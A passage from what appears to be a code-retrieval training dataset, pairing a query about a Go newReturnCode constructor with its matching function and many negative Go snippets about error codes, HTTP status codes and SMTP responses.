501582","0.5015384","0.50131655","0.500936","0.5005846","0.5002681","0.4995486","0.49924132","0.49867463","0.49727798","0.49716744","0.496749","0.49509093","0.49501547","0.49451694","0.494147","0.49334","0.49295253","0.49217945","0.49149895","0.49086028","0.49085107","0.4902707","0.48981732","0.48868605","0.48865044","0.48687777","0.48667386","0.48291463","0.48222673"],"string":"[\n \"0.80988747\",\n \"0.69863695\",\n \"0.68881804\",\n \"0.68726754\",\n \"0.6871206\",\n \"0.6835941\",\n \"0.6779137\",\n \"0.67493546\",\n \"0.668638\",\n \"0.6423421\",\n \"0.62679845\",\n \"0.6260439\",\n \"0.5951865\",\n \"0.58868194\",\n \"0.5814742\",\n \"0.5802234\",\n \"0.5717186\",\n \"0.5684572\",\n \"0.5655523\",\n \"0.5647893\",\n \"0.56158155\",\n \"0.5603246\",\n \"0.5587167\",\n \"0.55366117\",\n \"0.5513456\",\n \"0.55026656\",\n \"0.5413751\",\n \"0.54109925\",\n \"0.53940743\",\n \"0.5386412\",\n \"0.53851384\",\n \"0.537606\",\n \"0.53545105\",\n \"0.5353563\",\n \"0.52999264\",\n \"0.52856326\",\n \"0.52754647\",\n \"0.52736026\",\n \"0.52682686\",\n \"0.5257012\",\n \"0.52517015\",\n \"0.5249117\",\n \"0.5240921\",\n \"0.5227747\",\n \"0.5214026\",\n \"0.5207246\",\n \"0.5201766\",\n \"0.5199724\",\n \"0.5180926\",\n \"0.5161476\",\n \"0.5147678\",\n \"0.5127769\",\n \"0.5125117\",\n \"0.51145536\",\n \"0.5113862\",\n \"0.50942653\",\n \"0.50818276\",\n \"0.50678426\",\n \"0.5062462\",\n \"0.50616634\",\n \"0.50517046\",\n \"0.50452775\",\n \"0.5044427\",\n \"0.5040723\",\n \"0.50371945\",\n \"0.5033973\",\n \"0.5033169\",\n \"0.50241524\",\n \"0.5019379\",\n \"0.5017773\",\n \"0.501582\",\n \"0.5015384\",\n \"0.50131655\",\n \"0.500936\",\n \"0.5005846\",\n \"0.5002681\",\n \"0.4995486\",\n \"0.49924132\",\n \"0.49867463\",\n \"0.49727798\",\n \"0.49716744\",\n \"0.496749\",\n \"0.49509093\",\n \"0.49501547\",\n \"0.49451694\",\n \"0.494147\",\n \"0.49334\",\n \"0.49295253\",\n \"0.49217945\",\n \"0.49149895\",\n \"0.49086028\",\n \"0.49085107\",\n \"0.4902707\",\n \"0.48981732\",\n \"0.48868605\",\n \"0.48865044\",\n \"0.48687777\",\n \"0.48667386\",\n \"0.48291463\",\n \"0.48222673\"\n]"},"document_score":{"kind":"string","value":"0.8386377"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106198,"cells":{"query":{"kind":"string","value":"function newReturnCode() constructs a new ReturnCode object with a specified return code, description, and info."},"document":{"kind":"string","value":"func newReturnCode(kind ReturnCodeKind, code int, desc string, info string) *ReturnCode {\n\treturn &ReturnCode{kind, code, desc, info}\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (c ErrorCode) New(msg string) error {\n\treturn apperrors.WithStatusCode(apperrors.New(msg), int(c))\n}","func (msg *UnSubAck) AddReturnCode(ret ReasonCode) error {\n\treturn msg.AddReturnCodes([]ReasonCode{ret})\n}","func (pc *programCode) createReturn() {\n\tcode := \"\\tret\\n\"\n\n\tpc.appendCode(code)\n\tpc.indentLevel-- // get back -> buffer before\n}","func (o *CreateRepository8Created) Code() int {\n\treturn 201\n}","func newReply(ctx *Context) *Reply {\n\treturn &Reply{\n\t\tCode: http.StatusOK,\n\t\tgzip: true,\n\t\tctx: ctx,\n\t}\n}","func NewCode(code codes.Code, msg string) error {\n\treturn customError{errorType: ErrorType(code), originalError: errors.New(msg)}\n}","func New(c AppErrCode, msg string) *WithCode {\n\treturn &WithCode{\n\t\tcode: c,\n\t\terror: errors.New(msg),\n\t}\n}","func New(msg string, code ...int) error {\n\tstt := http.StatusInternalServerError\n\tif len(code) > 0 {\n\t\tstt = code[0]\n\t}\n\treturn &CError{\n\t\tCode: stt,\n\t\tMessage: msg,\n\t\tcallStack: util.Callers(),\n\t}\n}","func newResponse(regex string, code int) Response {\n\tr := Response{Code: code}\n\tr.Regex = regexp.MustCompile(regex)\n\treturn r\n}","func (o *CreateRepository28Created) Code() int {\n\treturn 201\n}","func New(statusCode int, err error) error {\n\treturn Value{\n\t\tStatusCode: statusCode,\n\t\tErr: err,\n\t}\n}","func newCodeResponseWriter(w http.ResponseWriter) *codeResponseWriter {\n\treturn &codeResponseWriter{w, http.StatusOK}\n}","func (r *results) SetReturnCode(returnCode int) {\n\tr.returnCode = returnCode\n}","func (o *CreateRepository38Created) Code() int {\n\treturn 201\n}","func New(err string, statusCode int) *Error {\n\treturn &Error{Err: err, StatusCode: statusCode}\n}","func (o *CreateIOCDefault) Code() int {\n\treturn o._statusCode\n}","func (o *ObjectsCreateOK) Code() int {\n\treturn 200\n}","func (o *CreateRepository32Created) Code() int {\n\treturn 201\n}","func new(c int, msg string) *Status {\n\treturn &Status{s: &spb.Status{Code: int32(c), Message: msg, Details: make([]*anypb.Any, 0)}}\n}","func newErrResponse(code int, err error) *ErrResponse {\n\treturn &ErrResponse{Code: code, Err: err}\n}","func New(code int, msg string) *Status {\n\tif code < 0 {\n\t\tpanic(fmt.Sprintf(\"status code must be greater than zero\"))\n\t}\n\n\testatus := add(code, msg)\n\n\treturn estatus\n}","func GenerateNewCode() *Code {\n\treturn &Code{randomCode(10)}\n}","func (o *CreateRepository37Created) Code() int {\n\treturn 201\n}","func (o *CreateAccountDefault) Code() int {\n\treturn o._statusCode\n}","func (o *CreateFnDefault) Code() int {\n\treturn o._statusCode\n}","func NewR(code int, msg string) ErrorR {\n\treturn &errorR{code: code, msg: msg}\n}","func (o *CreateLocationDefault) Code() int {\n\treturn o._statusCode\n}","func New(code uint32, status int, message string) Status {\n\treturn Status{\n\t\tXCode: code,\n\t\tXStatus: status,\n\t\tXMessage: message,\n\t}\n}","func newResult(resp *internal.Response) Result {\n\treturn &result{resp: resp}\n}","func New(class int, code Code, v ...interface{}) *Error {\n\tvar format, message string\n\tif len(v) == 0 {\n\t\tformat = \"\"\n\t} else {\n\t\tvar ok bool\n\t\tformat, ok = v[0].(string)\n\t\tif !ok {\n\t\t\tformat = strings.Repeat(\"%v\", len(v))\n\t\t} else {\n\t\t\tv = v[1:]\n\t\t}\n\t}\n\tmessage = fmt.Sprintf(format, v...)\n\n\te := &Error{}\n\te.Description = message\n\te.Class = int32(class)\n\te.Stack = getStack(1)\n\te.Created = time.Now().UnixNano()\n\te.Code = code.String()\n\treturn e\n}","func Code(code int) {\n\tDefault.ExitCode = code\n\tpanic(msg{Default, \"\"})\n}","func (o *CreateTagDefault) Code() int {\n\treturn o._statusCode\n}","func NewReturnNode(info token.FileInfo) *ReturnNode {\n\treturn &ReturnNode{\n\t\tFileInfo: info,\n\t\tNodeType: NodeReturn,\n\t}\n}","func NewCode(cause CausedBy, low uint32) Code {\n\treturn Code(uint32(cause) + low)\n}","func (err *ErrDescriptor) New(attributes Attributes) Error {\n\tif err.Code != NoCode && !err.registered {\n\t\tpanic(fmt.Errorf(\"Error descriptor with code %v was not registered\", err.Code))\n\t}\n\n\treturn &impl{\n\t\tmessage: Format(err.MessageFormat, attributes),\n\t\tcode: err.Code,\n\t\ttyp: err.Type,\n\t\tattributes: attributes,\n\t}\n}","func newResponse(code int, body io.Reader, req *http.Request) *http.Response {\n\tif body == nil {\n\t\tbody = &bytes.Buffer{}\n\t}\n\n\trc, ok := body.(io.ReadCloser)\n\tif !ok {\n\t\trc = ioutil.NopCloser(body)\n\t}\n\n\tres := &http.Response{\n\t\tStatusCode: code,\n\t\tStatus: fmt.Sprintf(\"%d %s\", code, http.StatusText(code)),\n\t\tProto: \"HTTP/1.1\",\n\t\tProtoMajor: 1,\n\t\tProtoMinor: 1,\n\t\tHeader: http.Header{},\n\t\tBody: rc,\n\t\tRequest: req,\n\t}\n\n\tif req != nil {\n\t\tres.Close = req.Close\n\t\tres.Proto = req.Proto\n\t\tres.ProtoMajor = req.ProtoMajor\n\t\tres.ProtoMinor = req.ProtoMinor\n\t}\n\n\treturn res\n}","func TestAddenda99MakeReturnCodeDict(t *testing.T) {\n\tcodes := makeReturnCodeDict()\n\t// check if known code is present\n\t_, prs := codes[\"R01\"]\n\tif !prs {\n\t\tt.Error(\"Return Code R01 was not found in the ReturnCodeDict\")\n\t}\n\t// check if invalid code is present\n\t_, prs = codes[\"ABC\"]\n\tif prs {\n\t\tt.Error(\"Valid return for an invalid return code key\")\n\t}\n}","func New() string {\n\treturn GenerateReasonableCode(6)\n}","func NewCode(code gcode.Code, text ...string) error {\n\treturn &Error{\n\t\tstack: callers(),\n\t\ttext: strings.Join(text, \", \"),\n\t\tcode: code,\n\t}\n}","func (o *SecurityKeyManagerKeyServersCreateDefault) Code() int {\n\treturn o._statusCode\n}","func New(code int, err error) error {\n\treturn &httpError{err: err, code: code}\n}","func (o *NvmeSubsystemMapCreateDefault) Code() int {\n\treturn o._statusCode\n}","func (o *SnapshotCreateDefault) Code() int {\n\treturn o._statusCode\n}","func newSuccessResp(key, msg string) *ResponseType {\n\treturn &ResponseType{Ok: true, Message: msg, Key: key}\n}","func New(statusCode int, message string) *Error {\n\treturn &Error{\n\t\tstatusCode: statusCode,\n\t\tMessage: message,\n\t}\n}","func (o *GetConstructorOK) Code() int {\n\treturn 200\n}","func (o *FpolicyPolicyCreateDefault) Code() int {\n\treturn o._statusCode\n}","func New(status int, msg string) error {\n\treturn Wrap(status, errors.New(msg))\n}","func (o *ObjectsClassReferencesCreateOK) Code() int {\n\treturn 200\n}","func newError(t *txn) *Error {\n\treturn &Error {\n\t\tErr \t: t.resp.ErrCode,\n\t\tDetail\t: t.resp.GetErrDetail(),\n\t}\n}","func newProgramCode() programCode {\n\tvar code programCode\n\tcode.intMap = make(map[string]int64)\n\tcode.stringMap = make(map[string]string)\n\tcode.strCounter = 0\n\tcode.funcSlice = make([]string, 100) // TODO: Make this more dynamic e.g.: zero-length slice with dynamic append()\n\tcode.lastLabel = make([]string, 100) // TODO: Make this more dynamic e.g.: zero-length slice with dynamic append()\n\tcode.labelCounter = 0\n\n\tcode.indentLevel = 0\n\tcode.labelFlag = false\n\tcode.forLoopFlag = false\n\tcode.code = \"\"\n\tcode.funcCode = make([]string, 100) // TODO: Make this more dynamic e.g.: zero-length slice with dynamic append()\n\n\treturn code\n}","func New(data ...Instr) *Code {\n\n\treturn &Code{data, nil}\n}","func init() {\n\n\tCodes = Responses{}\n\n\tCodes.FailLineTooLong = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 554,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Line too long!\",\n\t}).String()\n\n\tCodes.FailMailboxDoesntExist = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Sorry, no mailbox here by that name!\",\n\t}).String()\n\n\tCodes.FailNestedMailCmd = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 503,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Nested mail command!\",\n\t}).String()\n\n\tCodes.FailBadSequence = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 503,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Bad sequence!\",\n\t}).String()\n\n\tCodes.SuccessMailCmd = (&Response{\n\t\tEnhancedCode: OtherAddressStatus,\n\t\tClass: ClassSuccess,\n\t}).String()\n\n\tCodes.SuccessHelpCmd = \"214\"\n\n\tCodes.SuccessRcptCmd = (&Response{\n\t\tEnhancedCode: DestinationMailboxAddressValid,\n\t\tClass: ClassSuccess,\n\t}).String()\n\n\tCodes.SuccessResetCmd = Codes.SuccessMailCmd\n\tCodes.SuccessNoopCmd = (&Response{\n\t\tEnhancedCode: OtherStatus,\n\t\tClass: ClassSuccess,\n\t}).String()\n\n\tCodes.ErrorUnableToResolveHost = (&Response{\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"Unable to resolve host!\",\n\t\tBasicCode: 451,\n\t}).String()\n\n\tCodes.SuccessVerifyCmd = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedProtocolStatus,\n\t\tBasicCode: 252,\n\t\tClass: ClassSuccess,\n\t\tComment: \"Cannot verify user!\",\n\t}).String()\n\n\tCodes.ErrorTooManyRecipients = (&Response{\n\t\tEnhancedCode: TooManyRecipients,\n\t\tBasicCode: 452,\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"Too many recipients!\",\n\t}).String()\n\n\tCodes.FailTooBig = (&Response{\n\t\tEnhancedCode: MessageLengthExceedsAdministrativeLimit,\n\t\tBasicCode: 552,\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"Message exceeds maximum size!\",\n\t}).String()\n\n\tCodes.FailMailboxFull = (&Response{\n\t\tEnhancedCode: MailboxFull,\n\t\tBasicCode: 522,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Users mailbox is full!\",\n\t}).String()\n\n\tCodes.ErrorRelayDenied = (&Response{\n\t\tEnhancedCode: BadDestinationMailboxAddress,\n\t\tBasicCode: 454,\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"Relay access denied!\",\n\t}).String()\n\n\tCodes.ErrorAuth = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedMailSystemStatus,\n\t\tBasicCode: 454,\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"Problem with auth!\",\n\t}).String()\n\n\tCodes.SuccessQuitCmd = (&Response{\n\t\tEnhancedCode: OtherStatus,\n\t\tBasicCode: 221,\n\t\tClass: ClassSuccess,\n\t\tComment: \"Bye!\",\n\t}).String()\n\n\tCodes.FailNoSenderDataCmd = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 503,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"No sender!\",\n\t}).String()\n\n\tCodes.FailNoRecipientsDataCmd = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 503,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"No recipients!\",\n\t}).String()\n\n\tCodes.FailAccessDenied = (&Response{\n\t\tEnhancedCode: DeliveryNotAuthorized,\n\t\tBasicCode: 530,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Authentication required!\",\n\t}).String()\n\n\tCodes.FailAccessDenied = (&Response{\n\t\tEnhancedCode: DeliveryNotAuthorized,\n\t\tBasicCode: 554,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Relay access denied!\",\n\t}).String()\n\n\tCodes.ErrorRelayAccess = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedMailSystemStatus,\n\t\tBasicCode: 455,\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"Oops, problem with relay access!\",\n\t}).String()\n\n\tCodes.SuccessDataCmd = \"354 Go ahead!\"\n\n\tCodes.SuccessAuthentication = (&Response{\n\t\tEnhancedCode: SecurityStatus,\n\t\tBasicCode: 235,\n\t\tClass: ClassSuccess,\n\t\tComment: \"Authentication successful!\",\n\t}).String()\n\n\tCodes.SuccessStartTLSCmd = (&Response{\n\t\tEnhancedCode: OtherStatus,\n\t\tBasicCode: 220,\n\t\tClass: ClassSuccess,\n\t\tComment: \"Ready to start TLS!\",\n\t}).String()\n\n\tCodes.FailUnrecognizedCmd = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 554,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Unrecognized command!\",\n\t}).String()\n\n\tCodes.FailMaxUnrecognizedCmd = (&Response{\n\t\tEnhancedCode: InvalidCommand,\n\t\tBasicCode: 554,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Too many unrecognized commands!\",\n\t}).String()\n\n\tCodes.ErrorShutdown = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedMailSystemStatus,\n\t\tBasicCode: 421,\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"Server is shutting down. Please try again later!\",\n\t}).String()\n\n\tCodes.FailReadLimitExceededDataCmd = (&Response{\n\t\tEnhancedCode: SyntaxError,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"ERR \",\n\t}).String()\n\n\tCodes.FailCmdNotSupported = (&Response{\n\t\tBasicCode: 502,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Cmd not supported\",\n\t}).String()\n\n\tCodes.FailUnqalifiedHostName = (&Response{\n\t\tEnhancedCode: SyntaxError,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Need fully-qualified hostname for domain part\",\n\t}).String()\n\n\tCodes.FailReadErrorDataCmd = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedMailSystemStatus,\n\t\tBasicCode: 451,\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"ERR \",\n\t}).String()\n\n\tCodes.FailPathTooLong = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Path too long\",\n\t}).String()\n\n\tCodes.FailInvalidAddress = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 501,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Syntax: MAIL FROM:
[EXT]\",\n\t}).String()\n\n\tCodes.FailInvalidRecipient = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 501,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Syntax: RCPT TO:
\",\n\t}).String()\n\n\tCodes.FailInvalidExtension = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 501,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Invalid arguments\",\n\t}).String()\n\n\tCodes.FailLocalPartTooLong = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Local part too long, cannot exceed 64 characters\",\n\t}).String()\n\n\tCodes.FailDomainTooLong = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Domain cannot exceed 255 characters\",\n\t}).String()\n\n\tCodes.FailMissingArgument = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Argument is missing in you command\",\n\t}).String()\n\n\tCodes.FailBackendNotRunning = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedProtocolStatus,\n\t\tBasicCode: 554,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Transaction failed - backend not running \",\n\t}).String()\n\n\tCodes.FailBackendTransaction = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedProtocolStatus,\n\t\tBasicCode: 554,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"ERR \",\n\t}).String()\n\n\tCodes.SuccessMessageQueued = (&Response{\n\t\tEnhancedCode: OtherStatus,\n\t\tBasicCode: 250,\n\t\tClass: ClassSuccess,\n\t\tComment: \"OK Queued as \",\n\t}).String()\n\n\tCodes.FailBackendTimeout = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedProtocolStatus,\n\t\tBasicCode: 554,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"ERR transaction timeout\",\n\t}).String()\n\n\tCodes.FailAuthentication = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedProtocolStatus,\n\t\tBasicCode: 535,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"ERR Authentication failed\",\n\t}).String()\n\n\tCodes.ErrorCmdParamNotImplemented = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 504,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"ERR Command parameter not implemented\",\n\t}).String()\n\n\tCodes.FailRcptCmd = (&Response{\n\t\tEnhancedCode: BadDestinationMailboxAddress,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"User unknown in local recipient table\",\n\t}).String()\n\n\tCodes.FailBadSenderMailboxAddressSyntax = (&Response{\n\t\tEnhancedCode: BadSendersMailboxAddressSyntax,\n\t\tBasicCode: 501,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Bad sender address syntax\",\n\t}).String()\n\n\tCodes.FailBadDestinationMailboxAddressSyntax = (&Response{\n\t\tEnhancedCode: BadSendersMailboxAddressSyntax,\n\t\tBasicCode: 501,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Bad sender address syntax\",\n\t}).String()\n\n\tCodes.FailEncryptionNeeded = (&Response{\n\t\tEnhancedCode: EncryptionNeeded,\n\t\tBasicCode: 523,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"TLS required, use STARTTLS\",\n\t}).String()\n\n\tCodes.FailUndefinedSecurityStatus = (&Response{\n\t\tEnhancedCode: SecurityStatus,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Undefined security failure\",\n\t}).String()\n}","func (o *CreateAddonV2Default) Code() int {\n\treturn o._statusCode\n}","func (o *CreateNdmpUserDefault) Code() int {\n\treturn o._statusCode\n}","func (r *ResultsProxy) SetReturnCode(returnCode int) {\n\tr.Atomic(func(results Results) { results.SetReturnCode(returnCode) })\n}","func newResponse(data map[string]string) (*AMIResponse, error) {\n\tr, found := data[\"Response\"]\n\tif !found {\n\t\treturn nil, errors.New(\"Not Response\")\n\t}\n\tresponse := &AMIResponse{ID: data[\"ActionID\"], Status: r, Params: make(map[string]string)}\n\tfor k, v := range data {\n\t\tif k == \"Response\" {\n\t\t\tcontinue\n\t\t}\n\t\tresponse.Params[k] = v\n\t}\n\treturn response, nil\n}","func (o *ObjectsCreateBadRequest) Code() int {\n\treturn 400\n}","func (this *ConnackMessage) ReturnCode() ConnackCode {\n\treturn this.returnCode\n}","func (o *InsertUserKeyValueCreated) Code() int {\n\treturn 201\n}","func (o *GetProjectOK) Code() int {\n\treturn 200\n}","func (msg *UnSubAck) AddReturnCodes(ret []ReasonCode) error {\n\tfor _, c := range ret {\n\t\tif msg.version == ProtocolV50 && !c.IsValidForType(msg.mType) {\n\t\t\treturn ErrInvalidReturnCode\n\t\t} else if !QosType(c).IsValidFull() {\n\t\t\treturn ErrInvalidReturnCode\n\t\t}\n\n\t\tmsg.returnCodes = append(msg.returnCodes, c)\n\t}\n\n\treturn nil\n}","func Return(ctx *gin.Context, code status.Code, data interface{}) {\n\tResponse(ctx, http.StatusOK, int(code), code.String(), data)\n}","func Return(code int) {\n\tpanic(exitCode(code))\n}","func Return(code int) {\n\tpanic(exitCode(code))\n}","func New(code ErrorCodeType, message string) AuthError {\n\treturn &MyError{code: code, message: message}\n}","func newSimpleExec(code int, err error) simpleExec {\n\treturn simpleExec{code: code, err: err}\n}","func (o *V2CreatePoolTemplateDefault) Code() int {\n\treturn o._statusCode\n}","func (o *PortsetCreateDefault) Code() int {\n\treturn o._statusCode\n}","func New(code string, message string) CarError {\n\treturn CarError{\n\t\tMessage: message,\n\t\tCode: code,\n\t}\n}","func (o *CreateAntivirusServerDefault) Code() int {\n\treturn o._statusCode\n}","func NewErrCode(code uint16) (ret ErrCode) {\n\tvar ok bool\n\tif ret, ok = errCodeMap[code]; !ok {\n\t\tret = errCodeMap[cErrCodeXX]\n\t\treturn\n\t}\n\treturn\n}","func Exit(code uint64)","func (s *BasemumpsListener) ExitCode(ctx *CodeContext) {}","func (o *CreateMoveTaskOrderCreated) Code() int {\n\treturn 201\n}","func New(c codes.Code, msg string) *Status {\n\treturn status.New(c, msg)\n}","func New(c codes.Code, msg string) *Status {\n\treturn status.New(c, msg)\n}","func execNew(_ int, p *gop.Context) {\n\targs := p.GetArgs(1)\n\tret := errors.New(args[0].(string))\n\tp.Ret(1, ret)\n}","func (o *SecurityLogForwardingCreateDefault) Code() int {\n\treturn o._statusCode\n}","func (o *CreateAuthUserDefault) Code() int {\n\treturn o._statusCode\n}","func (o *GetCustomObjectsByIDByIDDefault) Code() int {\n\treturn o._statusCode\n}","func (o *GetProjectDefault) Code() int {\n\treturn o._statusCode\n}","func NewResponse(code int, body interface{}) Response {\n\treturn Response{\n\t\tcode: code,\n\t\tbody: body,\n\t}\n}","func newResponse(r *http.Response) *Response {\n\treturn &Response{Response: r}\n}","func (o *CreateRepository8Unauthorized) Code() int {\n\treturn 401\n}","func (err gourdError) ExitCode() int {\n\treturn err.code\n}","func (o *CreateSplitTestDefault) Code() int {\n\treturn o._statusCode\n}","func (o *TenancyContactGroupsCreateDefault) Code() int {\n\treturn o._statusCode\n}","func (o *CreateWorkflowDefault) Code() int {\n\treturn o._statusCode\n}","func (o *ExtrasImageAttachmentsCreateDefault) Code() int {\n\treturn o._statusCode\n}","func (o *GetCloudProjectServiceNameCreditDefault) Code() int {\n\treturn o._statusCode\n}","func (o *GetLibcVersionDefault) Code() int {\n\treturn o._statusCode\n}","func (o *ObjectsCreateUnauthorized) Code() int {\n\treturn 401\n}","func (o *RefundPaymentByExternalKeyCreated) Code() int {\n\treturn 201\n}","func (o *AddAPIDefault) Code() int {\n\treturn o._statusCode\n}","func (o *CreateSecurityListDefault) Code() int {\n\treturn o._statusCode\n}","func (o *GetNiaapiDcnmLatestMaintainedReleasesDefault) Code() int {\n\treturn o._statusCode\n}","func (o *PostPciLinksMoidDefault) Code() int {\n\treturn o._statusCode\n}","func (o *CustomerCustomerRepositoryV1GetByIDGetMineDefault) Code() int {\n\treturn o._statusCode\n}","func newResponse(r *http.Response) *Response {\n\tresponse := Response{Response: r}\n\n\treturn &response\n}"],"string":"[\n \"func (c ErrorCode) New(msg string) error {\\n\\treturn apperrors.WithStatusCode(apperrors.New(msg), int(c))\\n}\",\n \"func (msg *UnSubAck) AddReturnCode(ret ReasonCode) error {\\n\\treturn msg.AddReturnCodes([]ReasonCode{ret})\\n}\",\n \"func (pc *programCode) createReturn() {\\n\\tcode := \\\"\\\\tret\\\\n\\\"\\n\\n\\tpc.appendCode(code)\\n\\tpc.indentLevel-- // get back -> buffer before\\n}\",\n \"func (o *CreateRepository8Created) Code() int {\\n\\treturn 201\\n}\",\n \"func newReply(ctx *Context) *Reply {\\n\\treturn &Reply{\\n\\t\\tCode: http.StatusOK,\\n\\t\\tgzip: true,\\n\\t\\tctx: ctx,\\n\\t}\\n}\",\n \"func NewCode(code codes.Code, msg string) error {\\n\\treturn customError{errorType: ErrorType(code), originalError: errors.New(msg)}\\n}\",\n \"func New(c AppErrCode, msg string) *WithCode {\\n\\treturn &WithCode{\\n\\t\\tcode: c,\\n\\t\\terror: errors.New(msg),\\n\\t}\\n}\",\n \"func New(msg string, code ...int) error {\\n\\tstt := http.StatusInternalServerError\\n\\tif len(code) > 0 {\\n\\t\\tstt = code[0]\\n\\t}\\n\\treturn &CError{\\n\\t\\tCode: stt,\\n\\t\\tMessage: msg,\\n\\t\\tcallStack: util.Callers(),\\n\\t}\\n}\",\n \"func newResponse(regex string, code int) Response {\\n\\tr := Response{Code: code}\\n\\tr.Regex = regexp.MustCompile(regex)\\n\\treturn r\\n}\",\n \"func (o *CreateRepository28Created) Code() int {\\n\\treturn 201\\n}\",\n \"func New(statusCode int, err error) error {\\n\\treturn Value{\\n\\t\\tStatusCode: statusCode,\\n\\t\\tErr: err,\\n\\t}\\n}\",\n \"func newCodeResponseWriter(w http.ResponseWriter) *codeResponseWriter {\\n\\treturn &codeResponseWriter{w, http.StatusOK}\\n}\",\n \"func (r *results) SetReturnCode(returnCode int) {\\n\\tr.returnCode = returnCode\\n}\",\n \"func (o *CreateRepository38Created) Code() int {\\n\\treturn 201\\n}\",\n \"func New(err string, statusCode int) *Error {\\n\\treturn &Error{Err: err, StatusCode: statusCode}\\n}\",\n \"func (o *CreateIOCDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func (o *ObjectsCreateOK) Code() int {\\n\\treturn 200\\n}\",\n \"func (o *CreateRepository32Created) Code() int {\\n\\treturn 201\\n}\",\n \"func new(c int, msg string) *Status {\\n\\treturn &Status{s: &spb.Status{Code: int32(c), Message: msg, Details: make([]*anypb.Any, 0)}}\\n}\",\n \"func newErrResponse(code int, err error) *ErrResponse {\\n\\treturn &ErrResponse{Code: code, Err: err}\\n}\",\n \"func New(code int, msg string) *Status {\\n\\tif code < 0 {\\n\\t\\tpanic(fmt.Sprintf(\\\"status code must be greater than zero\\\"))\\n\\t}\\n\\n\\testatus := add(code, msg)\\n\\n\\treturn estatus\\n}\",\n \"func GenerateNewCode() *Code {\\n\\treturn &Code{randomCode(10)}\\n}\",\n \"func (o *CreateRepository37Created) Code() int {\\n\\treturn 201\\n}\",\n \"func (o *CreateAccountDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func (o *CreateFnDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func NewR(code int, msg string) ErrorR {\\n\\treturn &errorR{code: code, msg: msg}\\n}\",\n \"func (o *CreateLocationDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func New(code uint32, status int, message string) Status {\\n\\treturn Status{\\n\\t\\tXCode: code,\\n\\t\\tXStatus: status,\\n\\t\\tXMessage: message,\\n\\t}\\n}\",\n \"func newResult(resp *internal.Response) Result {\\n\\treturn &result{resp: resp}\\n}\",\n \"func New(class int, code Code, v ...interface{}) *Error {\\n\\tvar format, message string\\n\\tif len(v) == 0 